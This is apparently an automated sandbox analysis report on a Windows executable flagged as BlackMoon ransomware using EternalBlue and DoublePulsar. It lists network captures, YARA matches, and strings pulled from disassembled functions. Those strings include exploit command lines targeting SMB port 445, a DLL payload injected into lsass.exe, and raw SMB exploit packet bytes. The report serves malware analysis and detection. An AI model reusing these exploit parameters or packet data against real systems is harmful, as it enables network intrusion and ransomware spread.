2024-07-06 12:11:19 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	56694	40.113.110.67	443	4036	C:\Users\user\Desktop\exe3.bin.bak.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-06 12:12:49 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 79 37 54 76 4c 51 55 77 32 45 2b 52 75 67 57 62 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 35 32 63 66 65 63 61 31 39 64 38 61 64 37 61 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: y7TvLQUw2E+RugWb.1Context: 452cfeca19d8ad7a
2024-07-06 12:12:49 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-07-06 12:12:49 UTC	1064	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 34 31 0d 0a 4d 53 2d 43 56 3a 20 79 37 54 76 4c 51 55 77 32 45 2b 52 75 67 57 62 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 35 32 63 66 65 63 61 31 39 64 38 61 64 37 61 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 59 32 37 31 42 58 75 54 59 47 42 6b 41 51 54 4d 57 78 4e 4e 56 56 6d 7a 54 64 31 6c 2b 37 75 37 76 31 4d 46 76 6d 6a 6d 7a 68 57 49 52 73 6b 46 76 4c 6a 64 4d 34 4b 36 33 34 50 49 2b 65 34 73 72 72 59 4d 42 68 37 43 59 6d 6d 74 70 6c 39 4c 58 4c 5a 63 47 31 64 6b 4d 5a 6c 41 4d 38 59 49 78 39 76 74 68 48 63 38 67 2f 4b 4c 57 Data Ascii: ATH 2 CON\DEVICE 1041MS-CV: y7TvLQUw2E+RugWb.2Context: 452cfeca19d8ad7a<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAY271BXuTYGBkAQTMWxNNVVmzTd1l+7u7v1MFvmjmzhWIRskFvLjdM4K634PI+e4srrYMBh7CYmmtpl9LXLZcG1dkMZlAM8YIx9vthHc8g/KLW
2024-07-06 12:12:49 UTC	74	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 35 36 0d 0a 4d 53 2d 43 56 3a 20 79 37 54 76 4c 51 55 77 32 45 2b 52 75 67 57 62 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 35 32 63 66 65 63 61 31 39 64 38 61 64 37 61 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 56MS-CV: y7TvLQUw2E+RugWb.3Context: 452cfeca19d8ad7a
2024-07-06 12:12:49 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-07-06 12:12:49 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 56 4e 2b 6f 32 44 44 59 4d 55 57 4b 50 47 31 6e 6a 39 47 4a 43 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: VN+o2DDYMUWKPG1nj9GJCw.0Payload parsing failed.

Target ID:	0
Start time:	08:10:59
Start date:	06/07/2024
Path:	C:\Users\user\Desktop\exe3.bin.bak.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\exe3.bin.bak.exe"
Imagebase:	0x400000
File size:	3'350'528 bytes
MD5 hash:	2311A69113104A760D785A79F45BAB74
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_blackmoon, Description: Yara detected BlackMoon Ransomware, Source: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_ETERNALBLUE, Description: Yara detected ETERNALBLUE, Source: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_DoublePulsar, Description: Yara detected DoublePulsar, Source: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: Windows_Exploit_Eternalblue_ead33bf8, Description: unknown, Source: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp, Author: unknown Rule: EquationGroup_Toolset_Apr17_Eternalromance, Description: Detects EquationGroup Tool - April Leak, Source: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp, Author: Florian Roth Rule: Regin_Related_Malware, Description: Malware Sample - maybe Regin related, Source: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp, Author: Florian Roth Rule: INDICATOR_TOOL_EXP_EternalBlue, Description: Detects Windows executables containing EternalBlue explitation artifacts, Source: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	3.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	21.2%
Total number of Nodes:	692
Total number of Limit Nodes:	48

Executed Functions

Function 0041827F Relevance: 25.9, Strings: 19, Instructions: 2104COMMON

Download Yara Rule

Strings

ff534d422500000000180128000000000000000000000000, xrefs: 0041966E
ff534d427300000000180128000000000000000000000000, xrefs: 00418F04
x64.dll, xrefs: 00418CFE
ff534d427500000000180128000000000000000000000000, xrefs: 004192B3
42c104ff000000000001001900005c5c, xrefs: 004192D7
5c49504324003f3f3f3f3f00, xrefs: 00419324
42c10dff000000dfff02000100000000000000000000000000400000002600002e0057696e646f7773203230303020323139350057696e646f7773203230303020352e3000, xrefs: 00418F28
Doublepulsar-1.3.1.exe --OutConfig LOG.txt --TargetIp , xrefs: 00419B3D, 00419BC0
2008, xrefs: 00419990
7601, xrefs: 0041993F
Eternalblue-2.2.0.exe --TargetIp , xrefs: 00419A32, 00419ABA
", xrefs: 004195A6
--Target XP --TargetPort 445 --VerifyTarget True --VerifyBackdoor True --MaxExploitAttempts 3 --GroomAllocations 12 --OutConfig LOG.txt, xrefs: 00419AB2
Windows 7, xrefs: 004199E1
--TargetPort 445 --DllPayload x86.dll --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x86 --Function Rundll, xrefs: 00419BB8
00000054FF534D4272000000001801280000000000000000000000000000446D000042C1003100024C414E4D414E312E3000024C4D312E325830303200024E54204C414E4D414E20312E3000024E54204C4D20302E313200, xrefs: 00418BCB
--TargetPort 445 --DllPayload x64.dll --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x64 --Function Rundll, xrefs: 00419B35
--Target WIN72K8R2 --TargetPort 445 --VerifyTarget True --VerifyBackdoor True --MaxExploitAttempts 3 --GroomAllocations 12 --OutConfig LOG.txt, xrefs: 00419A2A
42c11000000000ffffffff0000000000000000000000004a0000004a0002002300000007005c504950455c00, xrefs: 00419692

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID:
String ID: --Target WIN72K8R2 --TargetPort 445 --VerifyTarget True --VerifyBackdoor True --MaxExploitAttempts 3 --GroomAllocations 12 --OutConfig LOG.txt$ --Target XP --TargetPort 445 --VerifyTarget True --VerifyBackdoor True --MaxExploitAttempts 3 --GroomAllocations 12 --OutConfig LOG.txt$ --TargetPort 445 --DllPayload x64.dll --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x64 --Function Rundll$ --TargetPort 445 --DllPayload x86.dll --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x86 --Function Rundll$"$00000054FF534D4272000000001801280000000000000000000000000000446D000042C1003100024C414E4D414E312E3000024C4D312E325830303200024E54204C414E4D414E20312E3000024E54204C4D20302E313200$2008$42c104ff000000000001001900005c5c$42c10dff000000dfff02000100000000000000000000000000400000002600002e0057696e646f7773203230303020323139350057696e646f7773203230303020352e3000$42c11000000000ffffffff0000000000000000000000004a0000004a0002002300000007005c504950455c00$5c49504324003f3f3f3f3f00$7601$Doublepulsar-1.3.1.exe --OutConfig LOG.txt --TargetIp $Eternalblue-2.2.0.exe --TargetIp $Windows 7$ff534d422500000000180128000000000000000000000000$ff534d427300000000180128000000000000000000000000$ff534d427500000000180128000000000000000000000000$x64.dll
API String ID: 0-3321016387
Opcode ID: 970cdfda530d1ed78ea06d4169749b228dad98984e2b2ac98f0c7ffb8a1eb7a1
Instruction ID: 5e9c1450d1e1315a744673751a0e2ac2e88663f7c1b672e0fb930c8ddc36d0ee
Opcode Fuzzy Hash: 970cdfda530d1ed78ea06d4169749b228dad98984e2b2ac98f0c7ffb8a1eb7a1
Instruction Fuzzy Hash: 21E255B5F44304ABEB10DB95DCD2BDE77B4EB18704F14003AFA05BA382E679AD818759

Function 00415174 Relevance: 25.9, Strings: 19, Instructions: 2104COMMON

Download Yara Rule

Strings

ff534d422500000000180128000000000000000000000000, xrefs: 00416563
ff534d427300000000180128000000000000000000000000, xrefs: 00415DF9
x64.dll, xrefs: 00415BF3
ff534d427500000000180128000000000000000000000000, xrefs: 004161A8
42c104ff000000000001001900005c5c, xrefs: 004161CC
5c49504324003f3f3f3f3f00, xrefs: 00416219
42c10dff000000dfff02000100000000000000000000000000400000002600002e0057696e646f7773203230303020323139350057696e646f7773203230303020352e3000, xrefs: 00415E1D
Doublepulsar-1.3.1.exe --OutConfig LOG.txt --TargetIp , xrefs: 00416A32, 00416AB5
2008, xrefs: 00416885
7601, xrefs: 00416834
Eternalblue-2.2.0.exe --TargetIp , xrefs: 00416927, 004169AF
", xrefs: 0041649B
--Target XP --TargetPort 445 --VerifyTarget True --VerifyBackdoor True --MaxExploitAttempts 3 --GroomAllocations 12 --OutConfig LOG.txt, xrefs: 004169A7
Windows 7, xrefs: 004168D6
--TargetPort 445 --DllPayload x86.dll --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x86 --Function Rundll, xrefs: 00416AAD
00000054FF534D4272000000001801280000000000000000000000000000446D000042C1003100024C414E4D414E312E3000024C4D312E325830303200024E54204C414E4D414E20312E3000024E54204C4D20302E313200, xrefs: 00415AC0
--TargetPort 445 --DllPayload x64.dll --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x64 --Function Rundll, xrefs: 00416A2A
--Target WIN72K8R2 --TargetPort 445 --VerifyTarget True --VerifyBackdoor True --MaxExploitAttempts 3 --GroomAllocations 12 --OutConfig LOG.txt, xrefs: 0041691F
42c11000000000ffffffff0000000000000000000000004a0000004a0002002300000007005c504950455c00, xrefs: 00416587

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID:
String ID: --Target WIN72K8R2 --TargetPort 445 --VerifyTarget True --VerifyBackdoor True --MaxExploitAttempts 3 --GroomAllocations 12 --OutConfig LOG.txt$ --Target XP --TargetPort 445 --VerifyTarget True --VerifyBackdoor True --MaxExploitAttempts 3 --GroomAllocations 12 --OutConfig LOG.txt$ --TargetPort 445 --DllPayload x64.dll --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x64 --Function Rundll$ --TargetPort 445 --DllPayload x86.dll --DllOrdinal 1 ProcessName lsass.exe --ProcessCommandLine --Protocol SMB --Architecture x86 --Function Rundll$"$00000054FF534D4272000000001801280000000000000000000000000000446D000042C1003100024C414E4D414E312E3000024C4D312E325830303200024E54204C414E4D414E20312E3000024E54204C4D20302E313200$2008$42c104ff000000000001001900005c5c$42c10dff000000dfff02000100000000000000000000000000400000002600002e0057696e646f7773203230303020323139350057696e646f7773203230303020352e3000$42c11000000000ffffffff0000000000000000000000004a0000004a0002002300000007005c504950455c00$5c49504324003f3f3f3f3f00$7601$Doublepulsar-1.3.1.exe --OutConfig LOG.txt --TargetIp $Eternalblue-2.2.0.exe --TargetIp $Windows 7$ff534d422500000000180128000000000000000000000000$ff534d427300000000180128000000000000000000000000$ff534d427500000000180128000000000000000000000000$x64.dll
API String ID: 0-3321016387
Opcode ID: 658c136b7558b3d55976adb7ecf8c3a9e42bbf60d456890091dd5dfcfe2de8d7
Instruction ID: 912c4b96fb5f8210867b44bbbfc3e23342468e575db784d2234802ce084c1104
Opcode Fuzzy Hash: 658c136b7558b3d55976adb7ecf8c3a9e42bbf60d456890091dd5dfcfe2de8d7
Instruction Fuzzy Hash: C5E244B5F40304EBEF10DB95DCC2BDE76B4EB18714F14003AFA05BA382E679A9918759

Function 00422580 Relevance: 17.3, APIs: 11, Instructions: 840COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 88cc6c1e8bcb7d4b91f7a1cca947aa8d79dc788fe88d8c52b960fcf633587a1b
Instruction ID: b76a5bc3ab91694ea84bc621833867f77b39be10459bcfb2ff4cf6a75e2d7d37
Opcode Fuzzy Hash: 88cc6c1e8bcb7d4b91f7a1cca947aa8d79dc788fe88d8c52b960fcf633587a1b
Instruction Fuzzy Hash: FA620970B00226DFCB24CF55EA846AEB7B5FF48310F64815EE8159B360D7B89D41CB5A

Function 0042F930 Relevance: 15.3, APIs: 10, Instructions: 287
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(00000000,00CC78C4), ref: 0042F997
LoadLibraryA.KERNEL32(?,?,00CD7C90), ref: 0042FA89
LoadLibraryA.KERNEL32(?,?), ref: 0042FACF
LoadLibraryA.KERNEL32(?,?,00CD7B98,00000001), ref: 0042FB17
LoadLibraryA.KERNEL32(00000001), ref: 0042FB2D
GetProcAddress.KERNEL32(00000000,?), ref: 0042FB3F
FreeLibrary.KERNEL32(00000000), ref: 0042FBD2

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Library$Load$AddressProc$Free
String ID:
API String ID: 3120990465-0
Opcode ID: 9c8754ef5b6092e0f51f8702b43206c882c4eb85a023774c13820b9b29d984b2
Instruction ID: 1a89a67f72240a861539c894968551f6495f51b67338663c3e67d4b6a602f004
Opcode Fuzzy Hash: 9c8754ef5b6092e0f51f8702b43206c882c4eb85a023774c13820b9b29d984b2
Instruction Fuzzy Hash: C3A1D2B1700311ABC710DF65D880BABB7A8BF99714F840A3EF85587341D738E909CB99

Function 00455D50 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370
commemorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00455D79
OleInitialize.OLE32(00000000), ref: 00455DB5
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00455DD3
SetCurrentDirectoryA.KERNEL32(02B35B50,?), ref: 00455E2D
LoadCursorA.USER32(00000000,00007F00), ref: 00455E88
GetStockObject.GDI32(00000005), ref: 00455EA9
GetCurrentThreadId.KERNEL32 ref: 00455ED1

Strings

_EL_HideOwner, xrefs: 00455EB3

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Current$CursorDirectoryFileHeapInitializeLoadModuleNameObjectProcessStockThread
String ID: _EL_HideOwner
API String ID: 3783217854-1487855678
Opcode ID: 08432631fa081206ab2bca5ef17b1285402c14e1978d7368fc7a561eceffb966
Instruction ID: de4ad45290fe51d5600b4f3d32f2fb0c2ca4de87bd2857930c1a433d748e5718
Opcode Fuzzy Hash: 08432631fa081206ab2bca5ef17b1285402c14e1978d7368fc7a561eceffb966
Instruction Fuzzy Hash: 27E1E071A00215DBCB14DF54DC91BEEB7B4FB44309F54416EEA05AB392DB386E05CBA8

Function 004AA9D0 Relevance: 12.1, APIs: 8, Instructions: 72
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 004AA9D5
GetFullPathNameA.KERNEL32(?,00000104,?,?,?,?), ref: 004AA9F3
lstrcpyn.KERNEL32(?,?,00000104), ref: 004AAA02
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,?,?,00000000,00000000,?,?), ref: 004AAA36
CharUpperA.USER32(?), ref: 004AAA47
FindFirstFileA.KERNEL32(?,?), ref: 004AAA5D
FindClose.KERNEL32(00000000), ref: 004AAA69
lstrcpy.KERNEL32(?,?), ref: 004AAA79

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Find$CharCloseFileFirstFullH_prologInformationNamePathUpperVolumelstrcpylstrcpyn
String ID:
API String ID: 304730633-0
Opcode ID: 6b0c100ef34bf6dc0f3b232b2147ef1a2fa0d359363252f3268a45ecb4413a00
Instruction ID: cf53ca3be40870b409ef2ac577bfed5fd4ab9a23476013b154ad38e860635690
Opcode Fuzzy Hash: 6b0c100ef34bf6dc0f3b232b2147ef1a2fa0d359363252f3268a45ecb4413a00
Instruction Fuzzy Hash: 6C214871900119BBCB11DF61DC48AEF7FB8EF16760F00862AF91AE21A0D7348E15CBA5

Function 004010CB Relevance: 7.2, Strings: 5, Instructions: 936
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Global\Brute_2024, xrefs: 004011DA, 0040121F
Wmicc.exe, xrefs: 00401268, 0040129F, 00401596
WinSta0\Default, xrefs: 0040190F, 00401914
C:\Windows\Temp\Wmicc.exe, xrefs: 00401AA2
explorer.exe, xrefs: 004015D0, 0040160A

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

